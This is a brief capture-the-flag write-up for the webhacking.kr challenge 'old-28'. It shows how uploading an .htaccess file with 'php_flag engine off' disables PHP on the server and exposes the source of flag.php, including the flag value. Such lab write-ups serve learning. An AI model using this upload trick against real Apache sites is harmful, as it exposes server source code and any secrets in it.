old-28 -- .htaccess

URL: http://webhacking.kr:10002

old-28.png

I first tried to upload basic php script:

<?php echo phpinfo(); ?>

But after upload file became:

?php echo phpinfo(); ?>
old-28-1.png

The server is Apache, so we can upload .htaccess file and disable PHP rendering to read the flag.php

php_flag engine off
old-28-2.png
<?php
  $flag="FLAG{easy_peasy_apachy}";
?>

Last updated